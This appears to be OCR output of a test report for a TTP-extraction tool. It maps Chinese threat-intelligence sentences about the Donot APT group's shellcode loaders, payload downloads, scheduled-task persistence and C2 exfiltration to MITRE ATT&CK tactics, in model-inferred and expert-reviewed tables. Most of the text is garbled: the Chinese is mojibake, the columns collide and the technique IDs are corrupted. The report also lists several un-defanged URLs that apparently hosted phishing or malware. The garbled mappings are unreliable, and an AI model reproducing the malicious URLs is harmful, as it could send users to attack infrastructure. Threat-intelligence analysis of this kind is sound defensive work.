https://ssynergy.in/wp- [{'taid": 'TA0002', 1 0
content/themes/twentytwentythree/assets/fonts/inter/delegation/ 'tactic': 'Command
and Control', 'tid":
https://cornerstonebeverly.org/js/files/docufentososo/doecumentoson | 'T1566', ‘technique':
eso 'Phishing'}]

https://halterarks.co.uk/img/gallery/misc/files/htmi5-k/

https://halterarks.co.uk/img/gallery/misc/files/jquery-k/

[1] https://blog.talosintelligence.com/2021/07/Sidecopy.html [{'taid": 'TAO000', 1 0
[2] https://ti.qianxin.com/blog/articles/Analysis-of-Sidecopy-Group's- | 'tactic': 'Unknown’,
Recent-Attacks-Using-Indian-Ministry-of-Defense-Documents-as- 'tid": 'TO000’,
Lures-CN/ 'technique':

'Unknown'}]

[3] https://ti.gianxin.com/blog/articles/Sidecopy-dual-platform-
weapon/

Test Report 9 iR/ B E © AR (Donot) HLLUAIIB LT IE DL

URL:
https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA40OA==&mi1d=2247505716&idx=1&sn=c35
1b71550874cae7bf11b5e5b67968f

TTPExtractor Infer Result

sent ttps entities ttps_pred_count | ttps_accept_idx
Donot #BI HEMALMAIT shellcode FEEADLL | [(taid: TAO0', | [Imalware’, |1 o
S ng - 'tactic': "H4T", 'tid": | 'Donot’]
A, #—STREUARDEGEERNARDIEEAES ’
'T1059.005',
2 'technique': 'VB 7
1
LkSh, ERLWEERF, Donot ALUFER EXE Aef, | [(taids TA0002, ] 1 [0]
BRI, R EXE A TR | O P 0
2. 'technique': 'VB 7
1
VT st [{'taid": 'TAO007', [T 1 [0]
'tactic': "K', 'tid":
'T1124',
'technique': ' RZ3AT
[B)RE]
MEERUER, xis fll doox XX FIRA—HMA0EIEE | {taid: TA0005, ] 1 [0]

tactic': 'BAEIME,
'tid": 'T1070.006',
'technique': &2

AR )]

8, BRI A vl BEE T A RIRIRIA ST

VBA RBIFH ijl KN EERMBHYTERMEM R | [(tad: TAO00S, ] 1 [l
8%, T NtAllocateVirtualMemory HRAY, BT | %0 1"13(‘)""”’&’3’

id": ,
WideCharToMultiByte RS 4RIS/EH) shellcode IR | ..o 1ique wimiE
HERNFRRESRATRE, AEAMA S
EnumUILanguages K 1T shellcode,




I 64 fiZBEAHY shellcode 30, EERTEMRBIRE, @& |(taid: Tﬂgoﬁﬁjfﬁ [ [0
e , 'tactic': 'BHTEHIREIR,
BERANREPTNRERS, s 1140
'technique': 'f&EE
B8
8H urimon.dll {£1249 URLDownloadToCacheFileA &£y | [{'taid": ITAOO;;’ 5 0 [0]
‘ . 'tactic': 'S 5
THESE, B URLAT: ', 'tid': 'T1105',
‘technique’: 'T &
S
TEIEALHEROALEARG, RFRTEFTR | ([0 110005, ) o]
RASHOREAE, WRERENET TR, e | 20000 PIDEE
B TRATREEIE, ‘technique': 'BRSE
B EY
FEEE M ER shellcode BERT IR MTERE, & |[(tad: Tﬂgoﬁﬁjfﬁ 0 [0
‘tactic': 'BHfEIMLIE",
ESAEX API, 'tid': 'T1140',
'technique': '#2iRi&
B8
1A Wow64DisableWow64FsRedirection £HIX 74 | [(taid": 'TA0040', ] o]
‘tactic': &SR,
EEM. 'tid": 'T1529',
'technique': 'R &%
AR ER
o - ik st 'taid': 'TAO007', | [['tool', [0]
&2 GetLocalTime SKEXALZATE, MR HATIEATER antic" s g | GetLocalTime']
1349 B AN shellcode L53RiE1T. . . '
T1124',
'technique': ' RZ3AT
AT
(R &1 R ERITEN S [{taid': TAOOO7', | ]
l ] m' 4id'
7£7C:\Windows\System32\drivers’E & F 2 B177E. ,ﬁcég;s] R,
'technique': 'S4
BREMY
NRENROLEE, WRESHEBRTATEAAR (1o TAOOT, ) o]
MBS ARRRE XM ERRE: NFSFiE ,tT"ﬁ;] B, i
REER 1, AFWH 2, 'technique': ' RZRT
AT
FAEFREAOEAT, A URLDownloadToFileA F&/E | [(taid: TAOOTT, | o
I At -?/\\_ § |
AT, RIS temp BRTH Unincored.an x| 20107 PSSR
&, ED”%tmp%\Unincored.dIl”, .;echnique.: . I A
s
SKEVS4EHT URL % [{'taid': 'TA00O11", i [0]

'tactic': '@ 5 124
', 'tid': 'T1105",




'technique”: ' TE[&
AEE

LoadLibraryA 11%ii% DLL, GetProcAddress ikBiigxES | [{'taid": 'TACO11, (['malware’, [0]
L . . “tactic': ‘a5 'LoadLibraryA']]
Hg it (tripoliro) , WRAZSHERE,
', 'tid": 'T1105',
'technique”: ' TE[&
A&
MES—LRRFER, RINH berypt.dil, (EEEE [{'taid": "'TA0005', i [0
shellcode /%] berypt.dil BT tactic’: ‘T,
'tid": 'T1574.002,
'technique': 'DLL fll
pIEA|
BRBRER 32 {IlRA shellcode 5 64 fiIEzA—5, Fig | [{taid: TA0002', 11 0]
TS shellcode ] DLL £k URL BFiFRE. tactic’: "HT', *id:
'T1059.005',
'technique': 'VB 7
1
B a [{'taid": 'TAO0O0O7', 0 [0]
'tactic': "K', 'tid":
'T1082',
‘technique’: 'R4i1S
BRI
HAREXHERXHREITHTHE, E7/EE temp B | [{12id TAC00S', [ o]
FTRH, B rundioexe TR DLL A0S T | 010" DEHE
id": ,
5, FIAEHEPES POF HEXHIX R technique's ‘(5]
“Kashmir”,
T#8 DLL —REFMNSHEN: Eh— ) SHEETg | [{taid: 'TA0003', [ 0
BiHESEHE— P SR tactic’: ALK,
'tid": 'T1053',
'technique': 'ER{E
SHFELY]
MRA— N SHRAMNE c2 RS REEKEMNEMNER, T |[{'taid: TA0T0, [ [
1 At 1 B!
EIITIENIE B DLL A, tactic’: ‘WiRB R,
tid': 'T1041",
‘technique': 'C2 1@
EEREIESR
ZEREUIE DLL HATXXHIRZ2 AES MBES [{'taid': 'TAO005', | [] 0,1, 2]

A”C:\Users\[user]\AppData\Local\windin.txt”,

'tactic': 'BAHIIR',
'tid"; 'T1027",
'technique': JEIEX
HHEE], {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'T1027.005',
'technique': JHFR T
BRI R R4S
{iE'}, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":




'QT9003.001",
'technique': '&iFZ
ST EMNST )

AREEET COM EMREHIESARAS — 1 SHEK
SDtuiopnhukm,

[{'taid": 'TAO003",
'tactic': 15X 1L,
'tid": 'T1053',
'technique': 'ERE
SEELY

U]

[& 7 Hi%EA COM ##0, Donot HAEE M ;2% DLL
BRI RFHRIT bat XEFNARIZEITRIES.

[{*taid": "TAO003',
'tactic': 15X 1L,
'tid": 'T1053',
'technique': 'ERE
SEELY

U]

TR bat X{4HET schtasks <, HITTESIE bat X
IR

[{'taid': 'TAO0O5',
‘tactic': 'BAfEILIR",
'tid": 'T1070.004',
"technique': 'HIFRZ

R

U]

£l32”C:\Users\[user]\AppData\Local\Nsget\”" B %,

[{'taid': 'TA0003',
'tactic': 15X 1L,
'tid": 'T1547.001',
'technique': &R

Run #EBBE R

U]

B ERRBEFNRENREEE.

[{'taid': 'TA0007",
'tactic': "K', 'tid":
'T1012',
'technique': '&if)i¥

il

[['targetservice',

NERER'

-

U]

RILAAPE, HHAE, URET cpuid SRR
CPU iRiRIER, WR=EAANBEHITR (victim id) ,

[{'taid": 'TAOOOT",
'tactic': "K', 'tid":
'T1033',
‘technique': ' RELFR

BEIAPRIY

U]

HHE victim id FIRENREER, FHILL||[S4” RERIRR
¥, XEFEHIT AES INZEHF Base64 i3,

[{*taid": "TAO0O5',
'tactic': 'BHTEILIR ",
'tid"; 'T1027",
'technique': JEIEX
HEER"), {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'T1027.005',
'technique': JHFR T
BRI R R 45
11, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'QT9003.001",
'technique': 'RIFZE
=T EMNST"Y,
{'taid': 'TA0O011",

[0,1,2,3]




‘tactic': '@ L 51
', 'tid': 'T1132/,
'technique': '$IE%R
(=N

INZEIEIES POST 15K batac BHUR AL C2 RS 3R,

[{'taid": 'TAOO10',
tactic’: 'BiEER,
'tid": 'T1041",
‘technique': 'C2 1&
EFEIEZIR

U]

Ef&{Z2H# URL 40T :

[{'taid": 'TAOO10',
tactic’: 'BUiEER,
'tid": 'T1041",
‘technique': 'C2 1&
EFEIESIR

U]

R C2 fRSSWEMN, MIERTRELEAH
WingMndre.dll,

[{'taid": 'TA0011",
'tactic': '@ L 5 1=
', 'tid': 'T1105',
'technique’: ' TH[
AEE

U]

THG4 DLLAY URL I :

[{'taid": 'TAOO11",
'tactic': '@ 5 1=
', 'tid': 'T1105',
'technique’: ' TH[
AEE

U]

£ T TN, 1§ WingMndre.dll {R7Z7E Z BB/ Nsget
B&T.

[{'taid": 'TA0O11",
'tactic': '@ L 5 1=
', 'tid': 'T1105',
'technique’: ' TH[
AEE

U]

HIFRS iR R StTskloipy HATATREAXEY windin.txt X4,
IR B 1T X{ESZ A WingMndre.dll § StConectert S
.

[{'taid': 'TAO0O5',
‘tactic': 'BAfEILIR",
'tid": 'T1070.004',
"technique': 'HIFRZ

R

U]

7£ Nsget B & TEI Uwn.txt 3X{F, 1R7F AES INZEEHY

victim id,

[{'taid": 'TAOO40",
‘tactic': TEL I,
'tid"; 'T1486',
'technique': '$X3E 0

)

U]

#RIGiEiT CreateProcessW AR T8 L FRTE, MR
Lifi DLL 7ER 58 ERSCHE.

[{'taid': 'TAO005',
‘tactic': 'BAfEILIR",
'tid": 'T1070.004',
"technique': 'HIFRZ

R

U]

Victim id M) Nsget B3R THJ Uwn.txt F3REY, MRzt
FEENSEHRER.

[{'taid": 'TAOO11",
'tactic': '@ L 5 1=
', 'tid': 'T1105',
'technique’: ' TH[
AEHE

[['malware’,
'Victim id'"]]

U]




HSTENE, BESRRES Uwn.txt ABAT{ERR AES
Zi5 iv I TRHR[AMKER, MAEERESNERS—E
AES 58] iv i1 victim id,

[{'taid": 'TAOO11",
'tactic': '@ L 5 1=
', 'tid": 'T1573',
'technique': '11Z2&E
B

U]

WNRIRENE] C2 MINGELE B MI#H1T T —HR(E, [TMINE
30s, HANT—IRIEH,

[{'taid": 'TA0011",
'tactic': '@ L 5 1=
', 'tid': 'T1105',
'technique’: ' TH[E
AEHR

U]

T HARRA R TR

[{'taid": 'TA0011",
'tactic': '@ L 5 1=
', 'tid': 'T1105',
'technique’: ' TH[
AEHE

U]

THNBEGFAGRE
#£”C:\Users\[user]\AppData\Local\Nsget\Updates” B 5%
R, RENELEAHAI URLINT:

[{'taid": 'TA0011",
'tactic': '@ L 5 1=
', 'tid': 'T1105',
'technique’: ' TH[
AEHE

U]

EL R BB stoi AFFAFRREBRNBRY, RETLK.

[{"taid": "TAO005',
‘tactic': 'BAfEILIR",
'tid"; 'T1027",
'technique': JEIEX
HHEE], {'taid":
'TA0005', 'tactic": '
Rtk 'tid'":
'T1027.005',
'technique': JHFR T
BB R H4F
1, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'QT9003.001",
'technique': '&iF%
=T EMNSTE Y

[0,1,2]

18 Updates B R T EEFHEMERIENS, SFFEUM C2
RS2 TH, IFIEH DLL, AREENS R

[{'taid": 'TAOO11",
'tactic': '@ L 5 1=
', 'tid': 'T1105',
'technique’: ' TH[
AEHE

U]

BRHTIHGERERIE, AR Updates BRMIFE DLL X
(53

[{'taid': 'TAO005',
‘tactic': 'BAfEILIR",
'tid": 'T1070.004',
"technique': 'HIFRZ

R

U]

BRPTIEHRIERRE, BITEGERE (SaERN
BT FESMN C2 RSB/ TH)

[{'taid': 'TAO005',
'tactic': 'BH{HIMEIE",
'tid": 'T1070.004',

U]




"technique': 'HIFRZ
R

OISR EIBRRITS) Updates BRT, Wi aloxar, | (190 TAODDS. o
N tactic': ‘152 AL,
BYRBUESWTEN, FRRERTERITS e 105
'technique': 'ER/E
SIElY
% bat WIS EA EEEEHT Updates W EEER | (taid: T@Zﬁfﬁ ol
_ . waese | tactic’: ‘BiEIRER!,
Nsget 1, AEHIEREXH, FERIHERSAS"Windows i1t tid" "T1070.004",
XES. 'technique': 'R
IR
Copy [{'taid': 'TA0003', [0]
C:\Users\[user]\AppData\Local\Nsget\Updates\[{fi{r® | 'tactic': '{5A ',
FR] C:\Users\[user]\AppData\Local\Nsget ::jchr;:lf:?(j;;ﬂ%%
Run #ERMEXR
BEREE R Windows HH IS, HHRIESRERT | [taid: T}Agf’;f o1
_ 'tactic': 'FF A,
HATERIAY alex.bat, tid': T1053",
'technique': 'ER{E
SIElY
RSB E B— 1 HIES " WindowsMainHawk”, HFEiE | [(taid" T;Afff 1
'tactic': '#5 ',
HEIRRS I RN StConectert, tid" "T1053"
'technique': 'ER{E
SIElY
|BiE BRI EE while fE3F/S, FITS8 DLL—f, & |[(taid: 'TA000S', o]
o - 'tactic': 'Bhflti%’,
B BRI 'tid': 'T1070.004',
"technique': 'HIFRZ
IR
ZIENINEE N BRGNS, ERTHAEERL sub_10006D10 | [{taid" T;\?;:’E [0
) ‘tactic': 'BUIESIR',
hcE, FERBMT. i T104",
'technique': 'C2 &
B ISR
BRE R TRRRER, [{'taid': TA00S' o]
'tactic': 'RE", 'tid":
'T1056.001",
'technique": "{B&1C
B
BREXAREENRNER it R .
"C:\Users\[user]\AppData\Local\Nsget\srt\"®1, LA%EE} Ta1c1 |1C3', R '
B GUID #5%., 'technique: 'EiI/R'}]
BEBEESMN jpg EERERREEHEE, ASmE |[{taid: TA000S, [0,1,2]

HSEIRZAI upr BRI, IR ipg XM,

'tactic': 'BHfHIMEIE",




'tid"; 'T1027",
'technique': JEIEX
HEER", {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'T1027.005',
'technique': JHFR T
BRI R R4S
{iE'}, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":

'QT9003.001",
'technique': '&iFZ
=T EMNET Y
ARE1E srt BRH upr XHEIEEIEE] C2 iRSEE, EIfE [{'taid": 1’;?;1;% 0 0
. 'tactic': '8UEER',
URL I : tid": 'T1041",
‘technique': 'C2 1@
E EEUEBIR
EHEARXBEERED, BRIVRMT —MIEEERNERNEST T [{'taifj': TAO_002 . 0 0
835 DLL M, BRI shellcode 75t | 11" P 10
A, BAERAT, 'technique': 'VB 7%=
1
Bl UES AR EHE DLL 05— N SHRK [{taid’: "TAOOOS', | [] [0]
brabbar 'tactic': 15X 1L,
robrabhgr. 'tid": 'T1053',
'technique': 'ERE
SEELY
fiB— S HEH rgbrgbbgr SHORMEIEHREZE [{taid’: TAOTT', [E&j‘gﬁifger';]] [0]
&”C:\ProgramData\Winstom\Dnt” F 2 & 1Z7E tatc:jlc :'T::ZS'_?&%U
Kyingert.dll, tr2201dcv.dIl, SSrtfgad.dil = ME#, MBER .;echn'ique.: - A
FEMNM C2 RSRTH, ARERREM DLL Y St RES MER]
B,
REICRHEIE [{'taid": 'TA0009", 0 []
'tactic': 'RE", 'tid":
'T1056.001",
'technique": "B&1C
B3|
£ 4B FF Desktop, Documents, Downloads B & 4% | [{'taid": 'TAOOLO', 0 [0]
' it 1 R
RIS AEBHESR, BI%doc, Xis, ppt, .pdf, nif 5 | 120107 BIRER
'tid": 'T1041",
‘technique': 'C2 1@
E EEUEBIR
BEAEE [{'taid": 'TAO009', |[I [0]

'tactic': 'RE", 'tid":
'T1113/,
'technique': '& &'}




3 MEFEIEERN URL 18R, WA ((taid': ‘TAO10" o
'tactic': '$UEBIR',
'tid': 'T1041',
'technique': 'C2 &
B HORIESR Y
Donot th7E & &N ER EXE BN TRESHME | [(taid: 'TAOO;" y 1
. . 'tactic': '@ 5%
G, EHHTNEEEAEET, g 1105,
‘technique’: 'T &
MEE
VT LERE [{'taid': 'TA0007", [0]
'tactic': "K', 'tid":
'T1124',
'technique': ' RZAT
LI
BEXH 1 (MD5: 171c01157194a2f5c928bdf5d560dc) | l{'taid': TAO002', 1
# VBA EEASTEMY, BERBE, TNEIRAY ,ﬁ"é;’gz Oﬁ‘? ;i
SCRRIS pkhfg.bat, ATEUE 3 DIHIES, AIMTRRE |\ oonique vB 2
B, 1
IEEEIEIR tbreah.bat ¢, XXHERFEM dfer.cab | [('1aid" T;}Oﬁojfﬁ 1
) 'tactic': 'BHTEILIR",
7 4
fEEH T 823481 dfer.exe, id": T1140",
'technique': 'f&EE
RS Y]
% bat BT L EAIRIE R fohr it HIES I, T | [(taid: T;}O:‘fﬁ [0
i 'tactic': 'FhHILE"
Ly 21% . ’
SEEME R MES g T1070.004"
‘technique': 'HIFRZ
e UD)
0H% 2 71 3 ) VBA RREBIEML, EMIAESH 2 (MDs: | [{'taid" '220002" [0]
RN 'tactic': 'H117", 'tid":
1 ’
79cff3bc3cbe51e1b3fecd131b949930) Joffli#1TiER, T1059.005",
'technique": 'VB 7=
1
527, EREORTIIMSEITH Open)if 73 | [(taid’: TA0002, g
i BeforeClose), tactic': 'H11T, 'tid":
'T1059.005',
'technique': 'VB 7=
1
B2 Schedule.Service EOBIRITRIES, FE@Ey | [(taid: T}Af;f [0
‘ - 'tactic': '#F ,
B bat XA, i T1055"
'technique': 'ER/E
SEELY
3 MEHEERM EXE BEERBES—H, ThahEe, |(taid: TA0002, 1

ERZM C2 THMNEEAN, BIEN 1 NEREE
A TRIRF, HAE bat X3 LiR VBA K13
PIRBITRIESHSHIRE.

'tactic': 'H47", 'tid":
'T1059.005',
'technique': 'VB 7
1




B8 FEA XS RE EXE AHERWT.

[{"taid": 'TA0002',
'tactic': 'H47", 'tid":
'T1059.005',
'technique': 'VB 7%
1

U]

X1 MD5

[{"taid": 'TA0002',
'tactic': 'H47", 'tid":
'T1059.005',
'technique': 'VB 7%=
1

U]

HX1E MD5

[{'taid": 'TA0002',
'tactic': 'H47", 'tid":
'T1059.005',
'technique': 'VB 7%=
1

U]

X1 MD5

[{'taid": 'TA0002',
'tactic': 'H47", 'tid":
'T1059.005',
'technique': 'VB 7%
1

U]

Donot £ X FEFREMAXEERESEBNSMENER
R, FEEDM 2022 F 9 AEEZENREZPER EXE
A,

[{'taid": 'TA0002',
'tactic': 'H47", 'tid":
'T1204.002',
'technique': TEEX

(53]

U]

FAF B INE

[{"taid": "TAO005',
‘tactic': 'BAfEILIR",
'tid"; 'T1027",
'technique': JEIEX
HHEE'], {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'T1027.005',
'technique': JHFR T
BRI R R4S
{iE'}, {'taid":
'TA0005', 'tactic": '
Rtk 'tid'":
'QT9003.001",
'technique': '&iF%
=T EMNSTE Y

[0,1,2]

Donot #£ PE XEHAKREFAELMBL AN KRBT
SHINE, T EBNBEFVINREESRE, 2501 EH
b, EAVRBEHAHIIA DLL AL EERNE 01 THA
BEXSENZRBXRTNS, HEARRESERMATM
BAXNTEFA B HTLE,

[{'taid": 'TAOD40',
‘tactic': TEL I,
'tid"; 'T1486',
'technique': '$X3E 10

=

U]

EREMBTSXP, FRIEH ASCI BBIRF TikiRi Zi#Hl
oz, HP 01 FRBERAFETHEP.

[{'taid': 'TA0005',
‘tactic': "B IRk,
'tid"; 'T1027",
'technique': JEIEX
HEER", {'taid":

[0,1,2]




'TA0005', 'tactic": '
Rtk 'tid'":
'T1027.005',
'technique': JHFR T
BRI R R4S
{iE'}, {'taid":
'TA0005', 'tactic": '
Rtk 'tid'":
'QT9003.001",
'technique': '&iF%

ET RN

BEXZEME

[{'taid": "TA00O5',
‘tactic': 'BAfEILIR!,
'tid": 'T1027',
'technique': SEEX
HafEREY, {'taid":
'TA0005', 'tactic": '
Rtk 'tid'":
'T1027.005',
'technique': SH& T
BB R H4F
{iE'}, {'taid":
'TA0005', 'tactic": '
FhfEiR, 'tid':
'QT9003.001",

'technique': 'RIFZE
=T AEMNgad )

[0,1,2]

RAXRIMZBLXOEFEMERIGFHEN, SE
base64 fi#i57] AES fR#[5, MREHEEIERMKRHE
fE: (1) TFWRE;

T

[{'taid": 'TA0005",
'tactic': 'BAHIIR',
tid': 'T1140',
'technique': '#&E&

BIEXHEER

U]

(3) FHHERF

[{"taid": "TAO005',
‘tactic': 'BAfEILIR",
'tid"; 'T1027",
'technique': JEIEX
HEER"), {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'T1027.005',
'technique': JHFR T
BRI R H 45
{iE'}, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'QT9003.001",
'technique': '&IHZR

ET RN

[0,1,2]

(R3XHH)

[{"taid": 'TA0002',
'tactic': 'H47", 'tid":
'T1059.005',

U]




'technique': 'VB 7
1

Expert Review Result

sent ttps entities ttps_pred_count | ttps_accept_idx
Donot B3 #HRAIXAMIT shellcode TEE4E DLL | [{'taid': 'TA0002', [Ema'vtvl?]re', 1 [0
! sl 1Hh 4= g gt ono
B, #— S TRENADEGSESAADEHNER | 2o #IAT tid:
'T1059.005',
DLL. 'technique': 'VB 7
)
Ilk5h, FEREREFRF, Donot MLALFER EXE A, | [(taidTA00, ] ! (0]
BRI, MR EXE A TR | O BT 0
2. 'technique': 'VB 7
)
VT EEEE [{'taid': 'TA0007", 0 1 0
'tactic': "K', 'tid":
'T1124',
'technique': ' RZ3AT
BP=E8)
MEBAIAE R, xis 7 docx XA FIRA—IMLIERF | [(taid: TAC0S', | ‘ .
), SRR AT AR T ARE A L. tactic”: ‘Bl ki,
'tid": 'T1070.006',
"technique': 18X
)]
VBA RBIFH ijl KN SERMBHYTERMEM R | [(taid: TAO00S, ] ! [0
R, W NtAllocateVirtualMemory A, @t | 00" 1“25(‘)"""’&@’
id": ,
WideCharToMultiByte FREI%4R18/569 shellcode 28X ‘technique': 'BRIEE
ERNTRRBA RS TRE, AEER BB
EnumUILanguages K 1T shellcode,
I 64 fiIKRASE shellcode Hfl, EF#{TEBBIRME, g | [('taid: TAC00S, | 1 [0
BARNETTRRERY tactic”: ‘B,
- tid': 'T1140',
'technique': 'f2;8/5
RIB RS E]
8F3 urimon.dll #3244 URLDownloadToCacheFileA &2k | [{'taid': 'TAO011', |l 1 [0]
FHEE, /5% URLWT: tactio”: "W 512
', 'tid": 'T1105',
'technique’: ' TE[&
AEHY
THOBENXHERMOHRBEANE, RiERFHEFHER | tad:TA0S, ] ! [0]
RASHORBRE, MRBRENSTIHTGR, R ,:;?f'; 1"15(‘)"‘,"@’3’
BRI TRRZ AR, technique’s ZSEHE
REB RS E]
RERHISE IR shellcode B5etEF T RaAMTEMRE, 74 |[(taid: TA000S, ] ! [0]

ES X APL,

'tactic': 'BHfHIMEIE",
'tid': 'T1140',




><

'technique': 'f&;&7
=

BIEXHEER

ifFl Wow64DisableWow64FsRedirection XXt &% | [{taid": TA0040', ([l ol
. 'tactic': TELEM',
e tid": 'T1529',
'technique': 'R &%
HSER"
— : i P 'taid": 'TA0007', | [['tool", [
BT GetLocalTime FKENZAZATE), 1R MATRTEATER antic" oo s | GetlocaiTime]
1349 B AN shellcode L53RiE1T. . . '
T1124,
'technique': ' RZ3AT
B2
RRIE & RIS [{taid': TAOOOT', ] o
‘tactic': '& L', 'tid":
7£”C:\Windows\System32\drivers”’E & T2 & =F1E. ,fg:s, R, i
'technique': 'S4
BR &MY
RADREEE, WRESHEMRTSATEAWE [t 720007, | [ o]
MBS A ARRREXNFCEERE: ITFEF iz fT"ﬁZ', R,
SBERH 1, AFUH 2, technique’: "R
B2
FEEARKOWTT, 187 URLDownloadToFileA Tatfg |I(1aid: TAOOTT, || ol
AU, RENEABP tomp BRTH Unincored.al X | 12017 B2 51281
{4, EN”%tmp%\Unincored.dil”, ';echn.ique': nigm
A&
SKEVS4EHT URL % [{'taid": 'TA0O11", ] [0]
'tactic': '@r L 512l
', 'tid": "T1105",
‘technique’: 'T &
A&
. N . [{'taid": 'TAOO11", | ['malware’, 0
LoadLibraryA iN%;iZ DLL, GetProcAddress SXEViEES tactio: ‘@5 5 as) | 'LoadLibraryAT]
Wttt (tripoliro) , FARAZSHERE, tid' T1105",
‘technique’: 'T &
A&
MES—LRREFER, 2ME berypt.dl, BEE [(taid" Tﬂgoﬁﬁjfﬁ . .
- ‘tactic': 'BhfIE",
shellcode £ #I%] berypt.dil BRESEIAEFEHRHAT, tid" "T1574.002",
'technique': 'DLL fll
pIEA|
BRI 32 fikRA shellcode 5 64 {1EA—K, g | [(taid: TAD002, [ 1

T #i/S4E shellcode ] DLL $Hf&#) URL BFTAE.,

'tactic': 'H47", 'tid":
'T1059.005',
'technique': 'VB 7
1




[{'taid": 'TAOOOT",
'tactic': 'K, 'tid":
'T1082',
‘technique’: 'R4i1S
BRI

% B BEX G ERN HRE R ThiE, BITRTE temp B
R TR, & rundli32.exe HITEHS DLL AEHSHEK
B, FHIAEHEERES PDF EHEXISMN X

“Kashmir”,

[{taid": "TA00O5',
‘tactic': 'BAfEILIR!,
'tid": 'T1036',
'technique': 'fH2£'}]

U]

T#i23 DLL —fREM M SHEE: HPF—{ S RHEdR
BEitESBHR— 1SR

[{*taid": "TAO003',
'tactic': 15X 1L,
'tid": 'T1053',
'technique': 'ERE
SEELY

U]

MA—TSHEHNE C2 RSFEEWSFNENRER, T
FHHITIERE BR300 DLL At

[{'taid': 'TAOO10',
'tactic': '"BUIEIBIR',
'tid': 'T1041",
‘technique': 'C2 1@
B ISR

U]

ZEREE DLL HEIX{FIR1242 AES IIBRS
A”C:\Users\[user]\AppData\Local\windin.txt”,

[{"taid": "TAO005',
‘tactic': 'BAfEILIR",
'tid"; 'T1027",
'technique': JEIEX
HHEE], {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'T1027.005',
'technique': JHFR T
BRI R R4S
{iE'}, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'QT9003.001",
'technique': '&iF%
=T EMNSTE Y

U]

AREET COM EMREIESARAS — 1 SHEK
SDtuiopnhukm,

[{*taid": "TAO003',
'tactic': 15X 1L,
'tid": 'T1053',
'technique': 'ERE
SEELY

U]

[& 7 Hi%EA COM ##0, Donot HAEE M %25 DLL
BRI RFHRIT bat XEFNARIZEITRIES.

[{*taid": "TA0003',
'tactic': 15X 1L,
'tid": 'T1053',
'technique': 'ERE
SEELY

U]

I bat X{HiE1T schtasks %, MITRERIE bat X
4IRS

[{'taid': 'TAO0O5',
'tactic': 'BHfHIMEIE",
'tid": 'T1070.004',

U]




"technique': 'HIFRZ
R

fl32”C:\Users\[user]\AppData\Local\Nsget\” B &,

[{'taid': 'TA0003',
'tactic': 15X 1L,
'tid": 'T1547.001',
'technique': &R

Run #EBBE R

B ERRBEFNRENREEE.

[{'taid': 'TA0007",
'tactic': "K', 'tid":
'T1012',
'technique': '&if)i¥

il

[['targetservice',

RESES]

-

U]

KELFIAP &, HENE, URIBT cpuid 5L

CPUIRRER, BX=FHAGNZEEMA (victimid) .

[{'taid": 'TAOOOT",
'tactic': "K', 'tid":
'T1033',
‘technique': 'REEFR

BEIAPRIY

U]

HHE victim id FIRENREER, FHILA7||[S4” RERIRR
¥, IXEFE T AES MNZEHF Base64 i3,

[{*taid": "TAO0O5',
'tactic': 'BHTEILIE ",
'tid"; 'T1027",
'technique': JEIEX
HEER"}, {'taid":
'TA0005', 'tactic": '
Rtk 'tid'":
'T1027.005',
'technique': JHFR T
BB R H4F
11, {'taid":
'TA0005', 'tactic": '
FafEki%, 'tid'":
'QT9003.001",
'technique': 'RIFZE
=T EMNST"Y,
{'taid': 'TA0O011",
‘tactic': '@ < 51
', 'tid': 'T1132/,
'technique': '$IE%R
B

[0,1,2,3]

INZEIEIES POST 15K batac BHUR AL C2 RS 3R,

[{'taid': 'TAOO10',
‘tactic': 'BUIESIR',
'tid': 'T1041",
‘technique': 'C2 1@
B EHEIESIR

U]

Ef&{Z2H URL 40T :

[{'taid": 'TAOO10',
'tactic': '"BUIEBIR',
'tid": 'T1041",
‘technique': 'C2 1@
EFNEIEZIR

U]




2R C2 BEBEME, AR FREEAH [{taid': TAOOTT', | g
inaMndre.di 'tactic': '@r L 51l
LGl el ' tid": 'T1105',
‘technique’: 'T &
A&
F£/54 DLL # URL 41 F: [{'taid': 'TA00O11", i [0]
'tactic': '@r L 51l
' tid's "T11085,
‘technique’: 'T &
A&
£TFEM, 1§ WingMndre.dil {R777E 2 BIRIEHI Nsget | [{'taid": TACOTT, | ]
'tactic': '@r L 512l
BRT. ' tid's "T1105,
‘technique’: 'T &
A&
BURS KR 2K StTskloipy HTEIEERAY windin.txt e, | [(taid” T@Zﬁfﬁ i g
‘tactic': 'Bh LR,
BB iHHIES A WingMndre.dll # StConectert St & -t:jc':l?T 1 072]_ o]E;T,
. "technique': 'HIFRZ
HIRTY
# Nsget B TR Uwn.txt ¥, fR77 AES i@fEfy | [(taid: TA0D40', ] .
o 'tactic': &L EMM',
el ek 'tid": 'T1486',
'technique': '$X3E 10
1)
#ATRIEIY CreateProcessW RN P8t (s, Ml | [(taid" TAO0OS, I o1
o —— 'tactic': 'BA1EIEE",
A DLL % o 'tid': "T1070.004',
"technique': 'HIFRZ
HIRTY
Victim id M Nsget B2 T4 Uwn.txt sR3EEY, a1z | [(taid: TA0OT1!, | ['malware’, [
. ‘tactic': ‘@< 5% | Victimid]
REENEIER, 1108
‘technique’: ' T &
A&
EETENR, BEEEERE Unn.txt WEFERR AES | [[taid: 'T:\OAO;';%U 0 [0
BHS v AITRBEHER, MRzEmEeRERs—% | 0 " 0"
AES 2B iv i victim id, 'technique': 'I1Z3i&
o)
WRFRENF C2 MIMELHBIHT T— S iReE, Tk | [(taid: 'TAOO;" " L .
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‘technique’: ' T &
A&
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'technique”: ' TE[&
AEE

TRAEHAERE
7£”C:\Users\[user]\AppData\Local\Nsget\Updates” B &
i, RENELEAMHRI URL AT

[{'taid": 'TA0011",
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', 'tid': 'T1105',
'technique’: ' TH[E
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U]

EL R BB stoi AFFAREBRNBRY, RETLK.

[{"taid": "TAO005',
‘tactic': 'BAfEILIR",
'tid": 'T1027",
'technique': JEIEX
HHEE'], {'taid":
